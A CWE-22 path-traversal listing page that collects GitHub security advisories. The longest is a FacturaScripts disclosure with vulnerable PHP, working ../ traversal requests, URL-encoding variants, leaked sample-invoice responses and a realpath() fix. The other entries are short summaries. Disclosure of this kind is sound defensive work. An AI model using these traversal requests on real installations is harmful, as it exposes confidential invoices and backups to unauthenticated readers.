Common Weakness Enumeration

CWE-22

Allowed-with-Review

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Abstraction: Base · Status: Stable

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

13025 vulnerabilities reference this CWE, most recent first.

GHSA-CV65-7CG8-R623

Vulnerability from github – Published: 2026-07-14 17:12 – Updated: 2026-07-14 17:12
VLAI
Summary
FacturaScripts: Unauthenticated Path Traversal in Static File Controllers Reads Private MyFiles Documents
Details

Summary

The static file controllers in FacturaScripts decide whether a request is authorized by looking at the URL string instead of the canonical filesystem path. A request that starts with an allow-listed folder name but contains a ../ segment in the middle ends up serving a file from a different directory than the one the URL pretended to point at. This makes any file inside the FacturaScripts installation readable without authentication as long as the file's extension is on the controllers' allow-list (pdf, xlsx, docx, csv, sql, zip, xml, json, xsig, etc.). In practice this leaks the documents the application is specifically designed to protect: customer invoices, supplier invoices, document attachments and database backups stored under MyFiles/Private/ and other non-public subfolders.

The two vulnerable controllers are Core/Controller/Files.php (used by the /Plugins/*, /Core/Assets/*, /Dinamic/Assets/* and /node_modules/* routes) and Core/Controller/Myfiles.php (used by /MyFiles/*). Both share the same root cause: a strpos() / substr() prefix check on the raw URL is treated as proof that the resolved file lives inside an authorized directory.

The /Plugins/* route via Files.php is the cleanest exploit path because Plugins/ is part of every FacturaScripts installation, so no precondition is required. The /MyFiles/* route via Myfiles.php is a second path with the same root cause: when the URL starts with /MyFiles/Public/, the controller exits early and skips the per-file myft token check, which can be combined with ../ to read tokenless files outside Public/.

Tested live on commit de01369 (master, 2026-05-11) and on tag v2026.2, with PHP 8.0.30 on Apache 2.4.56.

Details

Path 1, in Core/Controller/Files.php

Files::__construct concatenates the project folder with the request URL and then runs two safety checks before serving the file:

$this->filePath = Tools::folder() . $url;

if (false === is_file($this->filePath)) {
    throw new KernelException('FileNotFound', ...);
}

if (false === $this->isFolderSafe($url)) {
    throw new KernelException('UnsafeFolder', $url);
}

if (false === $this->isFileSafe($this->filePath)) {
    throw new KernelException('UnsafeFile', $url);
}

isFolderSafe() only inspects the URL string:

public static function isFolderSafe(string $filePath): bool
{
    $safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles/Public'];
    foreach ($safeFolders as $folder) {
        if ('/' . $folder === substr($filePath, 0, 1 + strlen($folder))) {
            return true;
        }
    }
    return false;
}

For a request like /Plugins/../MyFiles/Private/invoice-2026-001.pdf, substr($url, 0, 8) equals /Plugins, so isFolderSafe() returns true. The filesystem layer then resolves the .. segment when is_file() runs, so the actual file opened is /MyFiles/Private/invoice-2026-001.pdf. isFileSafe() only checks the trailing extension, which is pdf and on the allow-list, so the file is served.

Path 2, in Core/Controller/Myfiles.php

The dedicated MyFiles handler resolves the path with urldecode() and reproduces the same prefix-based logic to decide whether the per-file myft token is required:

$this->filePath = Tools::folder() . urldecode($url);

if (false === is_file($this->filePath)) {
    throw new KernelException('FileNotFound', ...);
}
if (false === $this->isFileSafe($this->filePath)) {
    throw new KernelException('UnsafeFile', $url);
}

// if the folder is MyFiles/Public, then we don't need to check the token
if (strpos($url, '/MyFiles/Public/') === 0) {
    return;
}

$fixedFilePath = substr(urldecode($url), 1);
$token = filter_input(INPUT_GET, 'myft');
if (empty($token) || false === MyFilesToken::validate($fixedFilePath, $token)) {
    throw new KernelException('MyfilesTokenError', $fixedFilePath);
}

A request to /MyFiles/Public/../Private/invoice-2026-001.pdf satisfies strpos($url, '/MyFiles/Public/') === 0, so the controller returns early and skips myft token validation. The .. segment is then resolved by is_file() and readfile() against the real filesystem path inside MyFiles/Private/.

This second path is only exploitable when a MyFiles/Public/ directory exists on disk, which is the case in any installation that has ever published a public asset (company logo, theme file, plugin static resource).

Why this is not the documented "Public folder" behaviour

MyFiles/Public/ is intentionally tokenless for assets that live inside it, and that part is by design. The behaviour shown here is different: the URL appears to point at MyFiles/Public/... but the file ultimately returned lives in MyFiles/Private/. The same file (MyFiles/Private/invoice-2026-001.pdf) is returned with HTTP 403 (Invalid token) when requested directly, and HTTP 200 with the file body when requested through the traversal sequence. The access decision is not consistent with the actual file location, which is the textbook definition of a path traversal flaw.

PoC

The PoC uses one sample invoice planted at MyFiles/Private/invoice-2026-001-ACME.pdf (215 bytes) on a fresh install:

%PDF-FAKE-CONTENT for FacturaScripts PoC
INVOICE: 2026-001
CLIENT: ACME Corporation
TAX ID: B-12345678
AMOUNT: EUR 42,000.00
DUE DATE: 2026-06-15
PAID: 2026-05-09
INTERNAL NOTE: confidential customer financial data

Step 1, control. Direct access without a token is blocked:

GET /MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088
HTTP/1.1 403 Forbidden
<title>Invalid token.</title>
<p>The access token for the file MyFiles/Private/invoice-2026-001-ACME.pdf is invalid or has expired</p>

01-control-direct-private-file-blocked

Step 2, exploit via /Plugins/*. This is the no-precondition path:

GET /Plugins/../MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088
HTTP/1.1 200 OK
Content-Length: 215
Content-Type: application/pdf

%PDF-FAKE-CONTENT for FacturaScripts PoC
INVOICE: 2026-001
CLIENT: ACME Corporation
TAX ID: B-12345678
AMOUNT: EUR 42,000.00
DUE DATE: 2026-06-15
PAID: 2026-05-09
INTERNAL NOTE: confidential customer financial data

02-exploit-path1-plugins-leak

The same file that returned 403 in Step 1 is now returned without authentication. /Core/Assets/* and /Dinamic/Assets/* behave the same way against the same controller; /Plugins/* is used here because the folder is guaranteed to exist.

Step 3, exploit via /MyFiles/Public/*. This path also bypasses the myft token check:

GET /MyFiles/Public/../Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088
HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000, immutable
Content-Length: 215
Content-Type: application/pdf

%PDF-FAKE-CONTENT for FacturaScripts PoC
...

03-exploit-path2-myfiles-public-token-bypass

A quick check shows that several encoding variants of .. also work: %2e%2e, %2E%2E, .%2e, ///../. The flaw lives in the prefix check, not in any specific Apache normalization.

The file is confirmed present on disk:

04-lab-evidence-file-on-disk

Affected request paths

URL pattern Controller Token required Result
/MyFiles/Private/invoice.pdf Myfiles yes 403 (control)
/Plugins/../MyFiles/Private/invoice.pdf Files n/a 200 (leak)
/Core/Assets/../MyFiles/Private/invoice.pdf Files n/a 200 (leak)
/Dinamic/Assets/../MyFiles/Private/invoice.pdf Files n/a 200 (leak)
/MyFiles/Public/../Private/invoice.pdf Myfiles bypassed 200 (leak)

Impact

In a real ERP deployment this exposes the documents that the application is specifically designed to keep behind a per-file token:

  • Customer and supplier invoices stored under MyFiles/Private/
  • Document attachments uploaded through WidgetFile and DocFilesTrait (MyFiles/<filename>)
  • Database backups exported with .sql
  • Cached or temporary business data under MyFiles/Cache/ and MyFiles/Tmp/

.php files are not on the extension allow-list, so the flaw does not lead to remote code execution. Files outside the FacturaScripts installation are rejected by Apache's URI normalization (AH10244 invalid URI path), so the leak is bounded to the application directory tree.

Suggested Fix

Both controllers should resolve the requested path to its canonical form with realpath() and verify that the canonical path is inside an allow-listed directory before serving the file or skipping the token check. Example for Files::__construct:

$this->filePath = Tools::folder() . $url;

if (false === is_file($this->filePath)) {
    throw new KernelException('FileNotFound', ...);
}

$realPath = realpath($this->filePath);
$base = realpath(Tools::folder());
if ($realPath === false || strpos($realPath, $base . DIRECTORY_SEPARATOR) !== 0) {
    throw new KernelException('UnsafeFolder', $url);
}

$safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles' . DIRECTORY_SEPARATOR . 'Public'];
$relative = substr($realPath, strlen($base) + 1);
$allowed = false;
foreach ($safeFolders as $folder) {
    if (strpos($relative, $folder . DIRECTORY_SEPARATOR) === 0) {
        $allowed = true;
        break;
    }
}
if (!$allowed) {
    throw new KernelException('UnsafeFolder', $url);
}

The same pattern applies to Myfiles::__construct: compare the canonical resolved path against realpath(Tools::folder() . '/MyFiles/Public') before skipping the myft token check.

Affected Versions

Confirmed on the current master branch (commit de01369) and on the latest tagged release (v2026.2).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "facturascripts/facturascripts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2026.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45693"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T17:12:56Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe static file controllers in FacturaScripts decide whether a request is authorized by looking at the URL string instead of the canonical filesystem path. A request that starts with an allow-listed folder name but contains a `../` segment in the middle ends up serving a file from a different directory than the one the URL pretended to point at. This makes any file inside the FacturaScripts installation readable without authentication as long as the file\u0027s extension is on the controllers\u0027 allow-list (`pdf`, `xlsx`, `docx`, `csv`, `sql`, `zip`, `xml`, `json`, `xsig`, etc.). In practice this leaks the documents the application is specifically designed to protect: customer invoices, supplier invoices, document attachments and database backups stored under `MyFiles/Private/` and other non-public subfolders.\n\nThe two vulnerable controllers are `Core/Controller/Files.php` (used by the `/Plugins/*`, `/Core/Assets/*`, `/Dinamic/Assets/*` and `/node_modules/*` routes) and `Core/Controller/Myfiles.php` (used by `/MyFiles/*`). Both share the same root cause: a `strpos()` / `substr()` prefix check on the raw URL is treated as proof that the resolved file lives inside an authorized directory.\n\nThe `/Plugins/*` route via `Files.php` is the cleanest exploit path because `Plugins/` is part of every FacturaScripts installation, so no precondition is required. The `/MyFiles/*` route via `Myfiles.php` is a second path with the same root cause: when the URL starts with `/MyFiles/Public/`, the controller exits early and skips the per-file `myft` token check, which can be combined with `../` to read tokenless files outside `Public/`.\n\nTested live on commit `de01369` (master, 2026-05-11) and on tag `v2026.2`, with PHP 8.0.30 on Apache 2.4.56.\n\n### Details\n\n#### Path 1, in `Core/Controller/Files.php`\n\n`Files::__construct` concatenates the project folder with the request URL and then runs two safety checks before serving the file:\n\n```php\n$this-\u003efilePath = Tools::folder() . $url;\n\nif (false === is_file($this-\u003efilePath)) {\n    throw new KernelException(\u0027FileNotFound\u0027, ...);\n}\n\nif (false === $this-\u003eisFolderSafe($url)) {\n    throw new KernelException(\u0027UnsafeFolder\u0027, $url);\n}\n\nif (false === $this-\u003eisFileSafe($this-\u003efilePath)) {\n    throw new KernelException(\u0027UnsafeFile\u0027, $url);\n}\n```\n\n`isFolderSafe()` only inspects the URL string:\n\n```php\npublic static function isFolderSafe(string $filePath): bool\n{\n    $safeFolders = [\u0027node_modules\u0027, \u0027vendor\u0027, \u0027Dinamic\u0027, \u0027Core\u0027, \u0027Plugins\u0027, \u0027MyFiles/Public\u0027];\n    foreach ($safeFolders as $folder) {\n        if (\u0027/\u0027 . $folder === substr($filePath, 0, 1 + strlen($folder))) {\n            return true;\n        }\n    }\n    return false;\n}\n```\n\nFor a request like `/Plugins/../MyFiles/Private/invoice-2026-001.pdf`, `substr($url, 0, 8)` equals `/Plugins`, so `isFolderSafe()` returns `true`. The filesystem layer then resolves the `..` segment when `is_file()` runs, so the actual file opened is `/MyFiles/Private/invoice-2026-001.pdf`. `isFileSafe()` only checks the trailing extension, which is `pdf` and on the allow-list, so the file is served.\n\n#### Path 2, in `Core/Controller/Myfiles.php`\n\nThe dedicated MyFiles handler resolves the path with `urldecode()` and reproduces the same prefix-based logic to decide whether the per-file `myft` token is required:\n\n```php\n$this-\u003efilePath = Tools::folder() . urldecode($url);\n\nif (false === is_file($this-\u003efilePath)) {\n    throw new KernelException(\u0027FileNotFound\u0027, ...);\n}\nif (false === $this-\u003eisFileSafe($this-\u003efilePath)) {\n    throw new KernelException(\u0027UnsafeFile\u0027, $url);\n}\n\n// if the folder is MyFiles/Public, then we don\u0027t need to check the token\nif (strpos($url, \u0027/MyFiles/Public/\u0027) === 0) {\n    return;\n}\n\n$fixedFilePath = substr(urldecode($url), 1);\n$token = filter_input(INPUT_GET, \u0027myft\u0027);\nif (empty($token) || false === MyFilesToken::validate($fixedFilePath, $token)) {\n    throw new KernelException(\u0027MyfilesTokenError\u0027, $fixedFilePath);\n}\n```\n\nA request to `/MyFiles/Public/../Private/invoice-2026-001.pdf` satisfies `strpos($url, \u0027/MyFiles/Public/\u0027) === 0`, so the controller returns early and skips `myft` token validation. The `..` segment is then resolved by `is_file()` and `readfile()` against the real filesystem path inside `MyFiles/Private/`.\n\nThis second path is only exploitable when a `MyFiles/Public/` directory exists on disk, which is the case in any installation that has ever published a public asset (company logo, theme file, plugin static resource).\n\n#### Why this is not the documented \"Public folder\" behaviour\n\n`MyFiles/Public/` is intentionally tokenless for assets that live inside it, and that part is by design. The behaviour shown here is different: the URL appears to point at `MyFiles/Public/...` but the file ultimately returned lives in `MyFiles/Private/`. The same file (`MyFiles/Private/invoice-2026-001.pdf`) is returned with HTTP 403 (`Invalid token`) when requested directly, and HTTP 200 with the file body when requested through the traversal sequence. The access decision is not consistent with the actual file location, which is the textbook definition of a path traversal flaw.\n\n### PoC\n\nThe PoC uses one sample invoice planted at `MyFiles/Private/invoice-2026-001-ACME.pdf` (215 bytes) on a fresh install:\n\n```\n%PDF-FAKE-CONTENT for FacturaScripts PoC\nINVOICE: 2026-001\nCLIENT: ACME Corporation\nTAX ID: B-12345678\nAMOUNT: EUR 42,000.00\nDUE DATE: 2026-06-15\nPAID: 2026-05-09\nINTERNAL NOTE: confidential customer financial data\n```\n\n**Step 1, control.** Direct access without a token is blocked:\n\n```http\nGET /MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1\nHost: 127.0.0.1:8088\n```\n\n```\nHTTP/1.1 403 Forbidden\n\u003ctitle\u003eInvalid token.\u003c/title\u003e\n\u003cp\u003eThe access token for the file MyFiles/Private/invoice-2026-001-ACME.pdf is invalid or has expired\u003c/p\u003e\n```\n\n\u003cimg width=\"1584\" height=\"788\" alt=\"01-control-direct-private-file-blocked\" src=\"https://github.com/user-attachments/assets/37d55f79-55ab-4f69-a9e0-827fc39c0b33\" /\u003e\n\n\n\n\n**Step 2, exploit via `/Plugins/*`.** This is the no-precondition path:\n\n```http\nGET /Plugins/../MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1\nHost: 127.0.0.1:8088\n```\n\n```\nHTTP/1.1 200 OK\nContent-Length: 215\nContent-Type: application/pdf\n\n%PDF-FAKE-CONTENT for FacturaScripts PoC\nINVOICE: 2026-001\nCLIENT: ACME Corporation\nTAX ID: B-12345678\nAMOUNT: EUR 42,000.00\nDUE DATE: 2026-06-15\nPAID: 2026-05-09\nINTERNAL NOTE: confidential customer financial data\n```\n\n\u003cimg width=\"1585\" height=\"791\" alt=\"02-exploit-path1-plugins-leak\" src=\"https://github.com/user-attachments/assets/bccab788-a369-49bf-84dd-8f2f74addecf\" /\u003e\n\nThe same file that returned 403 in Step 1 is now returned without authentication. `/Core/Assets/*` and `/Dinamic/Assets/*` behave the same way against the same controller; `/Plugins/*` is used here because the folder is guaranteed to exist.\n\n**Step 3, exploit via `/MyFiles/Public/*`.** This path also bypasses the `myft` token check:\n\n```http\nGET /MyFiles/Public/../Private/invoice-2026-001-ACME.pdf HTTP/1.1\nHost: 127.0.0.1:8088\n```\n\n```\nHTTP/1.1 200 OK\nCache-Control: public, max-age=31536000, immutable\nContent-Length: 215\nContent-Type: application/pdf\n\n%PDF-FAKE-CONTENT for FacturaScripts PoC\n...\n```\n\n\u003cimg width=\"1582\" height=\"789\" alt=\"03-exploit-path2-myfiles-public-token-bypass\" src=\"https://github.com/user-attachments/assets/2f95d0c1-4545-453c-a613-5ed035af7957\" /\u003e\n\n\nA quick check shows that several encoding variants of `..` also work: `%2e%2e`, `%2E%2E`, `.%2e`, `///../`. The flaw lives in the prefix check, not in any specific Apache normalization.\n\nThe file is confirmed present on disk:\n\n\n\u003cimg width=\"1918\" height=\"328\" alt=\"04-lab-evidence-file-on-disk\" src=\"https://github.com/user-attachments/assets/2db5875a-d349-4861-bbdd-8f202eb80d5a\" /\u003e\n\n\n#### Affected request paths\n\n| URL pattern | Controller | Token required | Result |\n|---|---|---|---|\n| `/MyFiles/Private/invoice.pdf` | Myfiles | yes | 403 (control) |\n| `/Plugins/../MyFiles/Private/invoice.pdf` | Files | n/a | 200 (leak) |\n| `/Core/Assets/../MyFiles/Private/invoice.pdf` | Files | n/a | 200 (leak) |\n| `/Dinamic/Assets/../MyFiles/Private/invoice.pdf` | Files | n/a | 200 (leak) |\n| `/MyFiles/Public/../Private/invoice.pdf` | Myfiles | bypassed | 200 (leak) |\n\n### Impact\n\nIn a real ERP deployment this exposes the documents that the application is specifically designed to keep behind a per-file token:\n\n- Customer and supplier invoices stored under `MyFiles/Private/`\n- Document attachments uploaded through `WidgetFile` and `DocFilesTrait` (`MyFiles/\u003cfilename\u003e`)\n- Database backups exported with `.sql`\n- Cached or temporary business data under `MyFiles/Cache/` and `MyFiles/Tmp/`\n\n`.php` files are not on the extension allow-list, so the flaw does not lead to remote code execution. Files outside the FacturaScripts installation are rejected by Apache\u0027s URI normalization (`AH10244 invalid URI path`), so the leak is bounded to the application directory tree.\n\n### Suggested Fix\n\nBoth controllers should resolve the requested path to its canonical form with `realpath()` and verify that the canonical path is inside an allow-listed directory before serving the file or skipping the token\n check. Example for `Files::__construct`:\n\n```php\n$this-\u003efilePath = Tools::folder() . $url;\n\nif (false === is_file($this-\u003efilePath)) {\n    throw new KernelException(\u0027FileNotFound\u0027, ...);\n}\n\n$realPath = realpath($this-\u003efilePath);\n$base = realpath(Tools::folder());\nif ($realPath === false || strpos($realPath, $base . DIRECTORY_SEPARATOR) !== 0) {\n    throw new KernelException(\u0027UnsafeFolder\u0027, $url);\n}\n\n$safeFolders = [\u0027node_modules\u0027, \u0027vendor\u0027, \u0027Dinamic\u0027, \u0027Core\u0027, \u0027Plugins\u0027, \u0027MyFiles\u0027 . DIRECTORY_SEPARATOR . \u0027Public\u0027];\n$relative = substr($realPath, strlen($base) + 1);\n$allowed = false;\nforeach ($safeFolders as $folder) {\n    if (strpos($relative, $folder . DIRECTORY_SEPARATOR) === 0) {\n        $allowed = true;\n        break;\n    }\n}\nif (!$allowed) {\n    throw new KernelException(\u0027UnsafeFolder\u0027, $url);\n}\n```\n\nThe same pattern applies to `Myfiles::__construct`: compare the canonical resolved path against `realpath(Tools::folder() . \u0027/MyFiles/Public\u0027)` before skipping the `myft` token check.\n\n### Affected Versions\n\nConfirmed on the current `master` branch (commit `de01369`) and on the latest tagged release (`v2026.2`).",
  "id": "GHSA-cv65-7cg8-r623",
  "modified": "2026-07-14T17:12:56Z",
  "published": "2026-07-14T17:12:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cv65-7cg8-r623"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NeoRazorX/facturascripts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FacturaScripts: Unauthenticated Path Traversal in Static File Controllers Reads Private MyFiles Documents"
}

GHSA-CV6R-JFW8-2RMQ

Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2022-05-13 01:38
VLAI
Details

Gitlab Community Edition version 10.3 is vulnerable to a path traversal issue in the GitLab CI runner component resulting in remote code execution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-0918"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-03-21T20:29:00Z",
    "severity": "HIGH"
  },
  "details": "Gitlab Community Edition version 10.3 is vulnerable to a path traversal issue in the GitLab CI runner component resulting in remote code execution.",
  "id": "GHSA-cv6r-jfw8-2rmq",
  "modified": "2022-05-13T01:38:24Z",
  "published": "2022-05-13T01:38:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0918"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/301432"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/2018/01/16/gitlab-10-dot-3-dot-4-released"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2018/dsa-4145"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CV7M-C9JX-VG7Q

Vulnerability from github – Published: 2026-02-18 00:46 – Updated: 2026-02-20 16:45
VLAI
Summary
OpenClaw has a path traversal in browser upload allows local file read
Details

Summary

Authenticated attackers can read arbitrary files from the Gateway host by supplying absolute paths or path traversal sequences to the browser tool's upload action. The server passed these paths to Playwright's setInputFiles() APIs without restricting them to a safe root.

Severity remains High due to the impact (arbitrary local file read on the Gateway host), even though exploitation requires authenticated access.

Exploitability / Preconditions

This is not a "drive-by" issue.

An attacker must:

  • Reach the Gateway HTTP surface (or otherwise invoke the same browser control hook endpoints).
  • Present valid Gateway auth (bearer token / password), as required by the Gateway configuration.
  • In common default setups, the Gateway binds to loopback and the onboarding wizard generates a gateway token even for loopback.
  • Have the browser tool permitted by tool policy for the target session/context (and have browser support enabled).

If an operator exposes the Gateway beyond loopback (LAN/tailnet/custom bind, reverse proxy, tunnels, etc.), the impact increases accordingly.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Vulnerable: < 2026.2.14 (includes latest published 2026.2.13)
  • Patched: >= 2026.2.14 (planned next release)

Details

Entry points:

  • POST /tools/invoke with {"tool":"browser","action":"upload",...}
  • POST /hooks/file-chooser (browser control hook)

When the upload paths are not validated, Playwright reads the referenced files from the local filesystem and attaches them to a page-level <input type="file">. Contents can then be exfiltrated by page JavaScript (e.g. via FileReader) or via agent/browser snapshots.

Impact: arbitrary local file read on the Gateway host (confidentiality impact).

Fix

Upload paths are now confined to OpenClaw's temp uploads root (DEFAULT_UPLOAD_DIR) and traversal/escape paths are rejected.

This fix was implemented internally; the reporter provided a clear reproduction and impact analysis.

Fix commit(s):

  • 3aa94afcfd12104c683c9cad81faf434d0dadf87

Thanks @p80n-sec for reporting.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26329"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-18T00:46:49Z",
    "nvd_published_at": "2026-02-20T00:16:15Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAuthenticated attackers can read arbitrary files from the Gateway host by supplying absolute paths or path traversal sequences to the browser tool\u0027s `upload` action. The server passed these paths to Playwright\u0027s `setInputFiles()` APIs without restricting them to a safe root.\n\nSeverity remains **High** due to the impact (arbitrary local file read on the Gateway host), even though exploitation requires authenticated access.\n\n## Exploitability / Preconditions\n\nThis is not a \"drive-by\" issue.\n\nAn attacker must:\n\n- Reach the Gateway HTTP surface (or otherwise invoke the same browser control hook endpoints).\n- Present valid Gateway auth (bearer token / password), as required by the Gateway configuration.\n  - In common default setups, the Gateway binds to loopback and the onboarding wizard generates a gateway token even for loopback.\n- Have the `browser` tool permitted by tool policy for the target session/context (and have browser support enabled).\n\nIf an operator exposes the Gateway beyond loopback (LAN/tailnet/custom bind, reverse proxy, tunnels, etc.), the impact increases accordingly.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Vulnerable: `\u003c 2026.2.14` (includes latest published `2026.2.13`)\n- Patched: `\u003e= 2026.2.14` (planned next release)\n\n## Details\n\n**Entry points**:\n\n- `POST /tools/invoke` with `{\"tool\":\"browser\",\"action\":\"upload\",...}`\n- `POST /hooks/file-chooser` (browser control hook)\n\nWhen the upload paths are not validated, Playwright reads the referenced files from the local filesystem and attaches them to a page-level `\u003cinput type=\"file\"\u003e`. Contents can then be exfiltrated by page JavaScript (e.g. via `FileReader`) or via agent/browser snapshots.\n\nImpact: arbitrary local file read on the Gateway host (confidentiality impact).\n\n## Fix\n\nUpload paths are now confined to OpenClaw\u0027s temp uploads root (`DEFAULT_UPLOAD_DIR`) and traversal/escape paths are rejected.\n\nThis fix was implemented internally; the reporter provided a clear reproduction and impact analysis.\n\nFix commit(s):\n\n- 3aa94afcfd12104c683c9cad81faf434d0dadf87\n\nThanks @p80n-sec for reporting.",
  "id": "GHSA-cv7m-c9jx-vg7q",
  "modified": "2026-02-20T16:45:47Z",
  "published": "2026-02-18T00:46:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-cv7m-c9jx-vg7q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26329"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/3aa94afcfd12104c683c9cad81faf434d0dadf87"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw has a path traversal in browser upload allows local file read"
}

GHSA-CVCJ-C937-Q8WF

Vulnerability from github – Published: 2025-01-14 18:31 – Updated: 2025-01-14 18:31
VLAI
Details

Path Traversal in Ivanti Avalanche before version 6.4.7 allows a remote unauthenticated attacker to bypass authentication.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-13179"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-14T17:15:14Z",
    "severity": "HIGH"
  },
  "details": "Path Traversal in Ivanti Avalanche before version 6.4.7 allows a remote unauthenticated attacker to bypass authentication.",
  "id": "GHSA-cvcj-c937-q8wf",
  "modified": "2025-01-14T18:31:59Z",
  "published": "2025-01-14T18:31:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13179"
    },
    {
      "type": "WEB",
      "url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Avalanche-6-4-7-Multiple-CVEs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CVF9-G74C-VV79

Vulnerability from github – Published: 2022-12-07 18:30 – Updated: 2022-12-12 15:30
VLAI
Details

On Windows, restricted files can be accessed via os.DirFS and http.Dir. The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access. In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system. With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-41720"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-07T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "On Windows, restricted files can be accessed via os.DirFS and http.Dir. The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS(\"C:/tmp\").Open(\"COM1\") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access. In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system. With fix applied, the behavior of os.DirFS(\"\") has changed. Previously, an empty root was treated equivalently to \"/\", so os.DirFS(\"\").Open(\"tmp\") would open the path \"/tmp\". This now returns an error.",
  "id": "GHSA-cvf9-g74c-vv79",
  "modified": "2022-12-12T15:30:32Z",
  "published": "2022-12-07T18:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41720"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/cl/455716"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/issue/56694"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/golang-announce/c/L_3rmdT0BMU/m/yZDrXjIiBQAJ"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2022-1143"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CVRC-RX86-34M4

Vulnerability from github – Published: 2025-02-25 15:34 – Updated: 2026-04-01 18:33
VLAI
Details

Path Traversal vulnerability in wpjobportal WP Job Portal allows PHP Local File Inclusion. This issue affects WP Job Portal: from n/a through 2.2.8.

